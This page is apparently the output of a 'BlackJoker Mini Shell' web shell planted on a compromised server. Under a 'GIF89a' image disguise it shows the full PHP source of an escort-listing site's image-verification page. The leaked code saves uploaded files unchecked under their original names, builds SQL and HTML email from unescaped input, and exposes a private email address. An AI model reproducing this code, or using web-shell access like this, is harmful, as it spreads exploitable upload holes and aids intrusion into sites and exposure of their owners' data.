GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/verifyimage_est.php

<?
session_start();
if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");
/*$sql="SELECT * FROM page_content WHERE id='45'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);*/

?>
<?
	if($_POST)
	 {
		
			 $sql_pid="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."'";
			 $res_pid=execute_query($sql_pid);
			 $row_pid=mysql_fetch_array($res_pid);
			 $pid=$row_pid['id'];
			 
			 				
			 if($_FILES['avt_image']['tmp_name'])
			{
				$manu_imagename1=time().$_FILES['avt_image']['name'];
				move_uploaded_file($_FILES['avt_image']['tmp_name'],'../imageverifi/'.$manu_imagename1);
			}	
			 
			      $url=$_POST['weblink'];	
					
					if (false === strpos($url, '://')) {
							$websit = 'http://' . $url;
						}
						else
						{
							$websit=$_POST['weblink'];
						}	
			 
			
			 $sql_tweet="INSERT INTO veryfiimage(id,postid,userid,veriimage,weburl)Values('','".$row_pid['id']."','".$row_pid['user_id']."','$manu_imagename1','$websit')";
			 execute_query($sql_tweet);
			 $id=mysql_insert_id();
			 
			 $sql_approveemail="SELECT * FROM approval_email";
			 $res_approveemail=execute_query($sql_approveemail);
			 $row_approveemail=mysql_fetch_array($res_approveemail);
			 
			 //$to = $row_approveemail['emailid'];
			 $to = 'subhrajyoti.mca11@gmail.com';
		     $subject="Image Verification Mail";
			 $body="<html>
							<head>
							  <title>Image Verification</title>
							</head>
							<body>
							<table style='padding:10px; color:#000;'>
								<tr><th></th></tr>
								<tr><td><br/></td></tr>
								
								<tr>
								  <td>Below You will find Verify Image Details:</td>
								</tr>
								<tr>
								  <td>To check this escort please click the link below:<a href='http://m.escortservice.org/verifyimagedetails.php?id=$pid' style='color:#AD0066;'>Click Here</a></td>
								</tr>
								<tr>
								  <td>Username:".$row_pid['nickname']."</td>
								</tr>
								<tr>
								  <td>Other website link:".$_POST['weblink']."</td>
								</tr>
								<tr>
								  <td>To check this image please click the link below:<a href='http://m.escortservice.org/imageverifybyadmin.php?id=$id' style='color:#AD0066;'>Click Here</a></td>
								</tr>
							  </table>
							</body>
							</html>";
							// To send HTML mail, the Content-type header must be set
							$headers  = 'MIME-Version: 1.0' . "\r\n";
							$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
							
							// Additional headers
							$headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
								
							
							mail($to, $subject, $body, $headers);		 
			 
			 
			 ?>
				<script language="javascript">
						 
				    location.href="verifyimage_est.php?msg=1";
								
				</script>   
			<?
		 
	 }

?>

<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Escort Service - Premiere Escort Listings,Escorts,Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
  <script>
  	$('#frm').validate({
    rules: {
        userName: {
            required: true
        },
        
        emailAddrs: {
            required: true
        }
    },
    messages: {
        userName: {
            required: "Please enter your first name."
        },
       
        emailAddrs: {
            required: "Please enter your email."
        }
    },
    errorPlacement: function (error, element) {
        error.appendTo(element.parent().prev());
    },
    submitHandler: function (form) {
        $(':mobile-pagecontainer').pagecontainer('change', '#success', {
            reload: false
        });
        return false;
    }
});
  
  </script>
  <script language="javascript">

	function validate()

	{
		
		
		if((document.f1.avt_image.value=="") && (document.f1.weblink.value==""))

		{
			
			alert("Enter Your Verify Image Or Verify Weblink");

			document.f1.weblink.focus();

			return false;
			

		}
		/*if(document.adpost.veri_image.value=="")

		{
			
			alert("Select Your Verification Image");

			document.adpost.veri_image.focus();

			return false;
			

		}*/

	}

</script>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
    <div data-role="content" id="searchboxx">
    	<span style="float:left !important; margin-top:-5px !important;"><a style="float:left;" href="index.php" class="ui-btn ui-shadow ui-corner-all ui-icon-home ui-btn-icon-notext" data-iconpos="right" title="Go Home">Home</a></span>
        <span style="float:right !important; margin-top:-5px !important;"><a style="float:right;" href="my-account.php" class="ui-btn ui-shadow ui-corner-all ui-icon-back ui-btn-icon-notext" data-iconpos="right" title="Go Dashboard">back</a></span>
    </div>
    
	<div data-role="content">
    	
        <h2 id="loginheadertext">Verify Your Image</h2>
         <? if($_GET['msg']==1){ ?>
        <p id="loginnow">you have successfully submited your verify image.</p>
        
        <? } ?>
        <form action="<?=$_SERVER['PHP_SELF'] ?>" method="post" name="f1" enctype="multipart/form-data" id="frm" data-ajax="false" onSubmit="return validate();">
        <input name="submit_form" value="1" type="hidden">
        <p id="alsignup">Not Verified?</p>
        <p id="alsignup">Send us a pic of you and the word "Pretty Woman Network" written on a paper.</p>
         <label for="file">Picture:</label>
	      <input name="avt_image" id="file" type="file">
          
        <p id="alsignup">Already verified on another site?</p>
        <p id="alsignup">Just send us a link to your verified ad on another escort site.</p>
        
        <input type="text" name="weblink" id="txt-email">
         <br/>
          <input type="image" src="continue.png" style="height:35px; margin-top:10px;">
        </form>
          
            <!--<a href="#dlg-invalid-credentials" data-rel="popup" data-transition="pop" data-position-to="window" id="btn-submit" ><img src="continue.png" style="height:35px; margin-top:10px;"></a>-->
            
            <div data-role="popup" id="dlg-invalid-credentials" data-dismissible="false" style="max-width:400px;">
                <div role="main" class="ui-content">
                    <h3 class="mc-text-danger">Login Failed</h3>
                    <p>Did you enter the right credentials?</p>
                    <div class="mc-text-center"><a href="#" data-rel="back" class="ui-btn ui-corner-all ui-shadow ui-btn-b mc-top-margin-1-5">OK</a></div>
                </div>
            </div>
        
        
        
	  	
	</div>
   <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0